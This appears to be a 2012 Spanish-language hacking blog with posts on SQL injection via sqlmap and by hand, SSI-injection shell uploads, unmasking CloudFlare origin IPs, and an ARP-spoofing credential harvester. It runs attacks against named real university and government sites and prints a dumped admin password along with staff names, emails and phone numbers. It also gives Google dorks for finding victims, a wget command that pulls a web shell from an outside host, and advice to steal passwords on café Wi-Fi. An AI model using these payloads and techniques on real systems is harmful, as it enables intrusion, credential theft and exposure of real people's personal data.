viernes, 22 de junio de 2012

Base de Datos - Universidad de San Martín de Porres - Perú


Hola, hace tiempo había leído que esta Universidad era una de las mejores de Perú, pero sin embargo no lo es, aunque no lo crean tiene las mismas vulnerabilidades que tienen todas las Universidades de Perú, la cual permite obtener toda su base de datos con un simple bug...

Bueno, sin mas que decir...

Sitio Web: http://www.sibus.usmp.edu.pe
Link Vulnerable: http://www.sibus.usmp.edu.pe/servicio.php?cat=1
Vulnerabilidad: SQL Injection

Base de datos desde el SLQMAP:

./sqlmap.py -u http://www.sibus.usmp.edu.pe/servicio.php?cat=1 --dbs

available databases [4]:                                                                                                                                                       

[*] biblioteca
[*] information_schema
[*] mysql
[*] test

./sqlmap.py -u http://www.sibus.usmp.edu.pe/servicio.php?cat=1 -D biblioteca --tables

Database: biblioteca                                                                                                                                                           
[28 tables]
+-----------------------+
| adq_categoria         |
| adquisicion           |
| biblioteca_virtual    |
| carne                 |
| directorio            |
| docente_inscripcion   |
| ebsco_inscripcion     |
| egresado_inscripcion  |
| enlace                |
| galeria               |
| galeria_fotos         |
| guia_manual           |
| imagen                |
| info_general          |
| infonauta             |
| logo                  |
| martino               |
| novedad               |
| personal              |
| personal_foto         |
| publicaciones         |
| reglamento            |
| revista               |
| revista_numero        |
| servicio              |
| temporada             |
| usuario               |
| visitante_inscripcion |
+-----------------------+

./sqlmap.py -u http://www.sibus.usmp.edu.pe/servicio.php?cat=1 -D biblioteca -T usuario --columns

Database: biblioteca                                                                                                                                                           
Table: usuario
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| login    | varchar(50) |
| password | varchar(50) |
+----------+-------------+

./sqlmap.py -u http://www.sibus.usmp.edu.pe/servicio.php?cat=1 -D biblioteca -T usuario -C login,password --dump

Database: biblioteca
Table: usuario
[1 entry]
+-------+----------------+
| login | password       |
+-------+----------------+
| admin | u5mpb1bl10tec@ |
+-------+----------------+

La Vulnerabilidad ha sido respectivamente REPORTADA, por lo tanto espero que sea arreglado lo mas pronto posible.

Saludos.

Subir Shell a través de Inyección SSI (Server-side include)



¿Qué es SSI?

Inyección SSI (Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. Inyección de código SSI explota el fracaso de una aplicación web para desinfectar los datos suministrados por el usuario antes de que se insertan en un server-side interpretada archivo HTML.

Si un atacante envía un Server-Side Include, él puede tener la capacidad de ejecutar comandos del sistema operativo, o incluir el contenido de un archivo restringido la próxima vez que se sirve de la página.


Empecemos.

Paso I - Encontrar un Sitio Vulnerable:

El mejor Dork que he encontrado es inurl:bin/Cklb/ entonces lo escribimos en Google y vamos ir probando...

Paso II - Probando el Sitio Vulnerable:

Cuando usamos la Dork  iremos probando web por web para identificar si el sitio es vulnerable a este tipo de inyección... 

¿Como identifico si el sitio es vulnerable? 

Ejecutando estos simple comandos:
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha

<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio

<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio

Nota: Tenemos que utilizar las etiquetas <pre> </ pre> cuando ejecutamos algun comando.

Ejemplo: <pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

Entonces tomamos uno de los comandos y lo insertamos en los cuadros de búsqueda o campos de inicio de sesión.

Los campos de inicio de sesión en su mayoría son vulnerables.

Sitio Vulnerable, ejemplo
http://dev.stockphotosamerica.com/bin/Cklb

Lo primero que haremos es ejecutar el comando en los campos como mencione lineas arriba, entonces esto deberia de quedar asi:


& nos devolverá todos los archivos del directorio....



Ahora vemos que nuestro comando se ejecutado con éxito y que el sitio es vulnerable ....

Paso II - Subiendo la Shell:

Como ya sabemos que el sitio web es vulnerable, entonces ya estamos listos para crear una shell.

En primer lugar tenemos que tener la shell en un .TXT y la subimos a cualquier host o nuestro host propio, ejemplo:

www.sitio-web.com/shell.txt

Ahora tenemos que descargar la shell con el siguiente comando:

<!--#exec cmd="wget http://sitio-web.com/dir/shell.txt" -->

Ahora sólo pegamos en el campo y pulsamos Entrar o Intro.


Para ver si el archivo en .TXT se ha descargado, tenemos que ejecutar el comando que usamos antes para listar los directorios:

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

En este caso yo he colocado config1.txt ustedes pueden utilizar cualquier nombre



Entonces si vemos que se ha descargado correctamente, ahora solo debemos cambiar el nombre de .Txt  a .Php, utilizando el siguiente comando:

<!--#exec cmd="mv config1.txt config.php" -->

Ahora, tenemos que listar nuevamente todos los archivos y tratar de encontrar la shell, en este caso se mostrara como config.php



Ahora, como ya sabemos que la shell esta en formato php, solo nos faltaria entrar a dicho archivo desde el navegador:

& Voila tenemos nuestra shell....

Les dejare algunas dorks:
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Espero que hayas aprendido algo...

Saludos.

jueves, 21 de junio de 2012

Obteniendo IP Real en Sitios Protegidos por CLOUDFLARE


¿Alguna vez te topastes con un sitio web protegido por CloudFlare? ¿No suspistes como obtener la IP real del sitio web?  Pues en esta entrada te enseñare como obtener la IP real de un sitio web protegido por CloudFlare, sera simple y rapido.

¿Que es CloudFlare?

CloudFlare protege y acelera cualquier sitio web en línea. Una vez que su sitio web es una parte de la comunidad CloudFlare, su tráfico de Internet pasa a través de nuestra red global inteligente. De manera automática, optimizar la entrega de sus páginas web para que los visitantes obtener el mejor tiempo de carga de página y el mejor rendimiento. También bloquean las amenazas y limitar los robots rastreadores abusivo y de perder su ancho de banda y recursos del servidor. El resultado: powered CloudFlare sitios web de ver una mejora significativa en el rendimiento y una disminución en los ataques de spam y otros

Cuando un sitio web esta protegido por CloudFlare, esta "esconde" la IP real del mismo, entonces esto evita que el sitio pueda ser denunciado u objeto de un ataque DDOS, entonces cuando un atacante quiera realizar dicho ataque, lo primera que hara sera hacer un PING, entonces el sitio le arrojara una IP falsa, la cual el atacante enviara el DDOS a dicha ip y el sitio no caera porque no esta atacando a la IP real.

¿Como se que un sitio esta protegido por CloudFlare?

Es muy facil, yo tomare un sitio protegido por CloudFlare y hare lo que hace un atacante, lo primero que hago es hacer PING  a una web cualquiera:

Ejemplo: www.remoteexecution.info

Entonces cojo mi consola y hago ping www.remoteexecution.info la cual nos arroja una ip:

Como ven la ip que nos arroja es 108.162.197.178 entonces copiamos dicha IP y la pegamos en nuestro navegador para comprobar si es la IP de dicha web.

& oh!! Sorpresa... la ip nos arroja DNS ERROR:

Como ven, ahí comprobamos que el sitio web esta protegido por CloudFlare, entonces la pregunta del millon...

¿Como obtengo la IP real de un sitio protegido por CloudFlare?

Actualmente existen muchas formas de obtener la IP real, pero algunas no son efectivas, otras no funcionan y otras nos hacen perder el tiempo.

En este caso, les dejare un pequeño script en PHP, la cual realiza la funciona de buscar la IP real de cualquier sitio web protegido por CloudFlare.

Script: 
<?php

/*
 * getCF.php
 * I got tired of looking up the DNS records of these various hosts
 * to find the real IP of a CloudFlare protected Server.
 * www.bigkesh.com
 * orgy[at]bigkesh[dot]com
 * Usage: php getCF.php domain.com
 * Usage2: www.yoursite.com/getCF.php?find=domain.com
 */

if (!isset($argv[1]) && !isset($_GET['find']))
{
    die("Argument needs to be a valid hostname.\n");
}

$lookupArr = array("mail.", "direct.", "direct-connect.", "cpanel.", "ftp.");

foreach ($lookupArr as $lookupKey)
{

    if (isset($_GET['find']))
    {
        $newline = "<br />";
        $lookupHost = $lookupKey . $_GET['find'];
    }
    else
    {
        $newline = "\n";
        $lookupHost = $lookupKey . $argv[1];
    }

    $foundHost = gethostbyname($lookupHost);

    if ($foundHost == $lookupHost)
    {
        echo "{$lookupHost} had no DNS record.{$newline}";
    }
    else
    {
        echo "{$lookupHost} = {$foundHost}{$newline}";
    }
}

?> 

Copiamos todo el código y lo guardamos con el nombre que ustedes quieran... la subimos a un hosting cualquiera, puede ser gratis o de paga.

Veamos como funciona:

Yo he guardado el código con el nombre cloud.php entonces la he subido a mi hosting y hago la consulta desde el navegador.

Ejemplo: www.sitioweb.com/cloud.php?find=remoteexecution.info

La cual la web nos devolverá el resultado:

La ip que nos arrojo es: 170.210.156.90 entonces quiere decir que esa es la IP real del sitio web, con lo que ya podemos proceder a realizar cualquier cosa con dicha IP.

Recuerden colocar el find= después del código para cada consulta y solo colocar la web directa, mas no  http ni www

Pueden utilizar el script desde mi hosting: http://secuity2.hostingfire.org/cloud.php?

Espero les sirva.

Saludos.

miércoles, 20 de junio de 2012

Websecurify Scanner Penetration Testing Tool



¿QUÉ ES?
Websecurify es una solución avanzada de pruebas construida para identificar con rapidez y precisión los problemas de seguridad de aplicaciones web.

¿Por qué debo usarlo?
Websecurify le ahorra tiempo y dinero mediante la automatización de un proceso tedioso y muy técnico utilizado por los expertos para encontrar las vulnerabilidades.

¿Cuáles son las fortalezas Websecurify'S?
Funciona en todas las plataformas principales. Es elegante, fácil y muy agradable de usar. Es rápido y preciso. Es trivial extensible con tecnologías web comunes. Se actualiza con frecuencia y con el apoyo de un apasionado equipo de ninjas.

Algunas de las características principales de Websecurify:
Disponible para todos los principales sistemas operativos (Windows, Mac OS, Linux) incluyendo los dispositivos móviles (iPhone, Android)
Fácil de usar interfaz de usuario
Construido en apoyo a la internacionalización
Fácilmente extensible con la ayuda de los complementos y plugins
Moduler y diseño reutilizable basado en el Marco de Armamento
Potentes herramientas de pruebas manuales y las instalaciones auxiliares
La potente tecnología de análisis y de exploración

He usado esta maravillosa Tool & los resultados son muy positivos, por lo tanto debemos tomarlo en cuenta cuando querramos realizar una Auditoria Web.


Informacion & Descarga:
http://code.google.com/p/websecurify/

Saludos.

Explotando Vulnerabilidades de Inyección SQL desde SQLMAP

Hola, en la entrada anterior explique como explotar Inyección SQL manualmente, entonces hoy escribiré como explotar las vulnerabilidades de Inyección SQL desde la herramienta SQLMAP, solo explicare las funciones básicas de esta herramienta para obtener algunas base de datos de los sitios webs vulnerables.

¿Que es SQLMAP?

Sqlmap es una herramienta desarrollada en python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar  su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.

Características

  • Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede identificar Microsoft Access, DB2, Informix, Sybase y Interbase.
  • Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de comparación y características específicas tales como MySQL comment injection. También es posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben.
  • Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQL injection.

Comandos Básicos:
-u 
-D
-T
-C
--tables
--columns
--dump

Ubicación en BackTrack 5r2:
Aplicaciones - BackTrack - Exploitation Tools - Web Exploitation Tools - SqlMap

Teniendo la herramienta lista para su uso, buscaremos una web vulnerable, en este caso yo usare la siguiente:

http://www.fonep.gob.ve/noticias.php?id=195'
SQL/DB Error -- [

    Could not execute query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''195'' AND c.publicado_contenido != 0' at line 13

Como vemos la web es vulnerable a Inyeccion SQL, entonces nos dirigimos a la herramienta para explotar dicha vulnerabilidad.

El primer comando que tenemos que colocar para obtener la base de datos sera esta:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 --dbs

La herramienta auditara el sitio y comprobara si es vulnerable, entonces si la herramienta comprueba que el sitio es vulnerable, automáticamente nos arrojara la base de datos, en este caso me la arrojo:

available databases [2]:
[*] information_schema
[*] penof_cms

Bien, teniendo ya la base de datos, la que nos interesaría en este caso seria penof_cms, entonces para obtener las tablas de dicha db, colocaremos el siguiente comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms --tables

Entonces de inmediato la herramienta nos arrojara las tablas de la db que hemos solicitado:

Database: penof_cms
[20 tables]
+-------------------+
| fonep_cargos      |
| fonep_ciudades    |
| fonep_contacto    |
| fonep_contenido   |
| fonep_contratista |
| fonep_documentos  |
| fonep_ds          |
| fonep_empleo      |
| fonep_enlaces     |
| fonep_errores     |
| fonep_estados     |
| fonep_extras      |
| fonep_log         |
| fonep_media       |
| fonep_rextras     |
| fonep_rsecciones  |
| fonep_rtagcloud   |
| fonep_secciones   |
| fonep_tagcloud    |
| fonep_usuarios    |
+-------------------+

Bien, ahora como a nosotros en toda inyección sql, nos interesa la tabla usuarios, colocaremos el siguiente comando para ver sus columnas:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios --columns

La cual la herramienta nos arroja todas las columnas de la tabla usuarios:

Database: penof_cms
Table: fonep_usuarios
[9 columns]
+-----------------------+-----------------+
| Column                | Type            |
+-----------------------+-----------------+
| apellido_usuarios     | varchar(45)     |
| clave_usuarios        | varchar(40)     |
| email_usuarios        | varchar(255)    |
| id_usuarios           | int(2) unsigned |
| institucion_usuarios  | varchar(45)     |
| nombre_usuarios       | varchar(45)     |
| permisos_usuarios     | tinyint(4)      |
| telf_usuarios         | int(11)         |
| ultimoacceso_usuarios | datetime        |
+-----------------------+-----------------+

Si queres todo el contenido de dicha columna, en este caso fonep_usuarios, solo colocaremos este comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios --dump

Entonces la herramienta dumpeara todo el contenido.

En este caso yo solo necesito las columnas apellido_usuarios, email_usuarios, nombre_usuarios, telf_usuarios, la cual colocaremos el siguiente comando:

./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D penof_cms -T fonep_usuarios -C "apellido_usuarios,email_usuarios,nombre_usuarios,telf_usuarios" --dump

Database: penof_cms
Table: fonep_usuarios
[3 entries]
+-------------------+----------------------------+-----------------+---------------+
| apellido_usuarios | email_usuarios             | nombre_usuarios | telf_usuarios |
+-------------------+----------------------------+-----------------+---------------+
| Olivo             | ernesto.olivo@ingenian.net | Ernesto         | 8886591       |
| Gimenez           | lugimenez@cantv.net        | Luis            | 2122112323    |
| Gonzalez Aviles   | serser2020@gmail.com       | Sergio          | 2147483647    |
+-------------------+----------------------------+-----------------+---------------+

Entonces, con ese comando obtendremos los datos específicos de dicha base de datos.

¿No entendiste?

No te preocupes, te dejare un video de esta inyeccion:

Descargar SqlMap para Windows & Linux:

Saludos...

martes, 19 de junio de 2012

Tutorial Inyección SQL (Básica)

Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.

¿QUE ES INYECCION SQL?

Según WikipediaInyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La informacion esta en la columna & la columna estan en las tablas y las tablas estan en la base de datos. Solo recuerda eso y después todo se te hara fácil de entender.


¿Que necesitamos para encontrar sitios vulnerables a Inyección Sql?


Necesitamos algunas Dorks ¿Que es una Dork?


Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.


Algunas Dorks:
inurl:index.php?id=
inurl:noticias.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:show.php?id=
inurl:staff_id=


Si colocamos la dork "noticias.php?id=6" en google nos saldran sitios que contienes ese id como pueden ver en la siguiente imagen:


Ahora escribimos una de esas dork en google, y chequeamos los sitios aver si son vulnerables a inyeccion sql, para eso solo tenemos que añadir un simple al final de la url del sitio, entonces la url se vera asi http://www.sitio.com/noticias.php?id=6' y si nos da un error similar a este :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/refricom/public_html/lib.php on line 186


Entonces el sitio es vulnerable como se muestra en la siguiente imagen:

Pero en caso de que no quieran estar googleando aqui les dejo un scaner online que hara su trabajo de buscar los sitios vulnerables: http://hh4ck3r.webcindario.com/sqliscaner.php utilicen el motor de Bing ya que el de google no funciona y se lo quite.

Bueno una vez tengamos un sitio vulnerable, lo siguiente que vamos hacer en buscar cuantas columnas tiene el sitio.

BUSCANDO CUANTAS COLUMNAS TIENE EL SITIO

Para buscar cuantas columnas tiene el sitio solo hay que añadir un simple (order by --) y les vamos aumentando los numeros asi (order by 1--) hasta que consiguemos un error.

www.sitio.com/noticias.php?id=1 order by 1-- (no error)
www.sitio.com/noticias.php?id=1 order by 2-- (no error)
www.sitio.com/noticias.php?id=1 order by 3-- (no error)
www.sitio.com/noticias.php?id=1 order by 4-- (no error)
www.sitio.com/noticias.php?id=1 order by 5-- (no error)
www.sitio.com/noticias.php?id=1 order by 6-- (no error)
www.sitio.com/noticias.php?id=1 order by 7-- (no error)
www.sitio.com/noticias.php?id=1 order by 8-- (no error)
www.sitio.com/noticias.php?id=1 order by 9-- (error)

El error nos sale en la columna 9 porque que no existe, eso significa que la web tiene 8 columnas.

Ahora hagan lo siguiente con la web: les añadimos un "union select" seguido por los numeros de las columnas separado por una coma.

[*]www.sitio.com/noticias.php?id=6 union select 1,2,3,4,5,6,8--
recuerda siempre poner los guiones --

Tambien aveces tenemos que usar algunos otros operadores en ves de el espacio ejemplo:

[*]www.sitio.com/noticias.php?id=6+union+select+1,2,3,4,5,6,7,8--

Tambien puede ser

[*]www.sitio.com/noticias.php?id=6/**/union/**/select/**/1,2,3,4,5,6,7,8--


[*]www.sitio.com/noticias.php?id=6%09union%09select%091,2,3,4,5,6,7,8--

También pueden usar (union select all) en ves de (union select) pero separado por un operador   

Tienes que ponerle un guion ( - ) detras del 6 o cualquier numero que sea o si no, solo cambiar el numero por "null" sin comillas, la url deberia verse asi:

[*]www.site.com/noticias.php?id=-6 union select 1,2,3,4,5,6,7,8--

Debería estar como esta en la siguiente foto:

CONSIGUIENDO LA VERSIÓN DE MySQL Y EL USER ACTUAL

Bueno para conseguir la vercion de MySQL es facil solo tenemos que añadirle lo siguiente en la columna 2 o 3

[*]www.sitio.com/noticias.php?id=-6 union select 1,version(),3,4,5,6,8--
o si no
[*]www.sitio.com/noticias.php?id=-6 union select 1,@@version,3,4,5,6,8--
Si nos da la version por arriba de 5 es inyectable y si nos da la version por debajo de 5 tenemos que imaginarnos las tablas  

Se vera asi como en la siguiente imagen:
Como podemos ver en la imagen esta en 5, entonces si es inyectable
.
Ahora vamos a conseguir el user actual:

Para hacer eso es bien fácil, solo tenemos que escribir "user()" sin comillas en un id inyectable.

La cual la url se vera asi: 
[*]www.sitio.com/noticias.php?id=-6 union select 1,user(),3,4,5,6,8-- 

CONSIGUIENDO LAS TABLAS

Bueno para buscar las tablas solo cogemos una columna, ejemplo cogeré la 2 y le añadiré "group_concat(table_name)" sin comillas, o si quieren solo le ponen table_name pero les recomiendo el group_concat(table_name) y despues de todas las columnas (numeros) pondremos "from information_schema.tables" y los guiones por lo que la url se deveria ver asi:

[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables--

El sitio se vera así, arrojándonos todas las tablas incluso info que no estamos buscando.

Ahora queremos esconder esas otras tablas que no nos interesan, para eso solo hay que agregar  "where table_schema=database()" y los guiones, por lo que la url deberia verse asi:

[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables where table_schema=database()--

La pagina se debería ver así:


Ahí tenemos las tablas que nos interesan incluyendo la del usuario por lo que de seguro ahí debe de estar el user y pass.

Ahora les mostrare como sacar las columnas de esa tabla.

Para hacer eso solo tenemos que enves de poner "group_concat(table_name)" poner "group_concat(column_name)" sin comillas y despues de los números "where information_schema.columns where table_name=usuarios--" 

¿Pero que pasaría si ponemos el nombre de la tabla así normal? 

Nos dara un error por lo que la tenemos que cambiar a hex, entonces asi se tendria que ver la url:

[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name,3,4,5,6,8 from information_schema.columns where table_name=usuarios--

Entonces nos arroja un error, como en la siguiente imagen:

Entonces, tenemos que cambiar el nombre de la columna a hex desde el siguiente convertidor:


La tabla a convertir es usuarios, entonces ya convertida la tabla se vera asi en hex "7573756172696f73" sin comillas 

Ahora donde dice where table_name=usuarios-- sustituimos el nombre de usuarios y lo pegamos por el de hex y antes de poner el de hex ponemos "0x" que significa que lo estamos poniendo en hex. 

Por lo que la url se deveria ver asi:

[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name),3,4,5,6,8 from information_schema.columns where table_name=0x7573756172696f73--

Resultado:

Como pueden ver consegui estas columnas dentro de la tabla:

id,nombre,usu,pwd,fechareg,valida,sitio 

Por lo que posiblemente el user puede estar en las columnas [usu] y la pass en la columna [pwd].

OBTENIENDO INFORMACIÓN DE LAS COLUMNAS

Para este paso solo tenemos que que borrar todo desde las columnas y borrar lo de group_concat(column_name) y solo poner  concat(), entonces la url se vería así:

[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(),3,4,5,6,8 --

Ahora para sacar la info de las columnas usu y pwd tenemos que hacer lo siguiente, como ven en en concat() dentro de los parenticis tenemos que poner las columnas, ejemplo:

concat(usu,0x3a,pwd) bueno creo que ya lo explique para que sirve el 0x , el 0x significa que los estamos pasando a hex y bueno en este  caso estoy pasando a hex y lo de 3a significa estos dos puntos : así que saldra el user separado por los dos puntos y la pass, ejemplo:

usuario:pass

Pero si quieren que la info sea separado por otra cosa, ejemplo por <---> solo ir a editor hex que les deje y convertirlo a hex y cambiarlo por lo de 0x3a y recuerden siempre poner 0x, entonces después de los números ponemos 'from usuarios' sin comillas por lo que la url se deveria verse asi:

[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(usu,0x3a,pwd),3,4,5,6,8 from usuarios --

Y se preguntan porque puse "from usuarios" pues esta facil como pueden ver esas columnas vienen de la tabla usuarios como pueden ver arriba donde dice consiguiendo la tablas hay pueden ver que estas columnas usu & pwd bienen de esa tabla , por lo que la consulta que estoy haciendo es como si estubiera pidiendo esa informacion de las columnas desde la tabla.

Entonces la pagina quedaria de la siguiente manera:

Pues ahora hay que desencryptar la pass en md5, pero recuerden que algunas veces la pass no estan encryptadas, entonces como dijimos esta encryptada en md5 por lo que tenemos que desencryptarla.

DESENCRYPTANDO PASSWORDS EN MD5

Podemos utilizar algunos decrypters online de md5 como las siguientes paginas:

Y muchas mas que existen en la red, pero en este caso yo usare una tool programada en Perl para desencryptar dicho MD5.

Si desean la Tool, pueden obtener el código desde aquí: http://fpaste.org/8PyU/ solo la compilan y lo lanzan.

Entonces el password a desencryptar es: 9580dbba64a17257183b730068d4f8bc 

Ejecuto la Tool:
Es fácil de usar, como pueden ver hay dos opciones 1 y 2, si escogen la 1 tendran que poner su hash y el programa mandara su hash a sitios a ver si lo puede crakear y la opcion 2 es para que carguen su propio diccionario y cracken el hash.

En este caso yo escogí la opción 1 y el resultado es el siguiente:

Según toda la informacion que he obtenido, el user debe de ser 'Administrator' y la pass 'fede86' 

OBTENIENDO EL PANEL DE CONTROL DEL ADMIN

Ya que tenemos el user y pass que son Administrator y fede86 solo nos faltaría encontrar el panel de administración, para eso necesitamos un admin panel finder, pueden usar este finder online:


Obteniendo el link del panel de administración, solo faltaría logearnos con el user Administrator y pass fede86

& Voila... Ingresamos !

Ahora, solo queda en sus manos lo que quieran hacer con alguna web vulnerable.

Recuerden que este tutorial es para realizar la Inyección SQL manualmente, también existen muchos metodos mas, pueden utilizar algunas herramientas para explotar la misma, pero ya luego estaré hablando sobre eso.

Saludos...

Creditos: CL-Security@BatBoy And Me

lunes, 18 de junio de 2012

Subterfuge - Attack Framework


Subterfuge, un Framework tan simple como apuntar y disparar; una hermosa interfaz y fácil de usar  que produce un ataque más transparente y eficaz es lo que distingue a Subterfuge, aparte de otras herramientas de ataque. Subterfuge demuestra las vulnerabilidades en el protocolo ARP por la recolección de las credenciales que van a través de la red, e incluso la explotación de máquinas a través de las condiciones de carrera.

Subterfuge es un pequeño pero devastadoramente efectivo de recolección de credenciales del programa que aprovecha una vulnerabilidad en el protocolo de resolución de direcciones. Lo hace de una manera que un usuario no técnico que tiene la capacidad, con sólo pulsar un botón, para cosechar todos los nombres de usuario y contraseñas de las víctimas en su red conectada.

Instalacion:

1) Descargamos la Tool:
http://code.google.com/p/subterfuge/downloads/list

2) Descomprimimos e instalamos:
root@TioSam:~# cd /root
root@TioSam:~# tar xfvz SubterfugePublicBeta1.1.tar.gz
root@TioSam:~# cd /root
root@TioSam:~# cd subterfuge
root@TioSam:~/subterfuge# ls
bin           doc         README                      twisted
build         INSTALL     scapy-2.2.0                 Twisted-12.0.0
dependencies  install.py  setup.py                    Twisted.egg-info
dist          LICENSE     sqlite3
Django-1.3.1  NEWS        subterfuge_packages.tar.gz
root@TioSam:~/subterfuge# python install.py -i


3) Abrimos la terminal & tecleamos lo siguiente:
root@TioSam:subterfuge
Validating models...

0 errors found
Django version 1.3.1, using settings 'subterfuge.settings'
Development server is running at http://127.0.0.1:80/
Quit the server with CONTROL-C.


4) Abrimos nuestro navegador & tecleamos 127.0.0.1 & se abrira la interfaz de la tool.

UTILIZANDO LA HERRAMIENTA:

Herramientas Incluidas:


DNS Spoofing:


Injectando Mestasploit a las Victimas:



En lo personal, me ha gustado mucho esta herramienta, ya que realiza muy bien su trabajo & lo mas bonito es que esta en modo grafico.

& como ya sabemos, podemos coger nuestra notebook, ir a un cybercafe, entrar a la red wifi, abrir esta maravillosa tool & robar todas sesiones & contraseñas.

Saludos...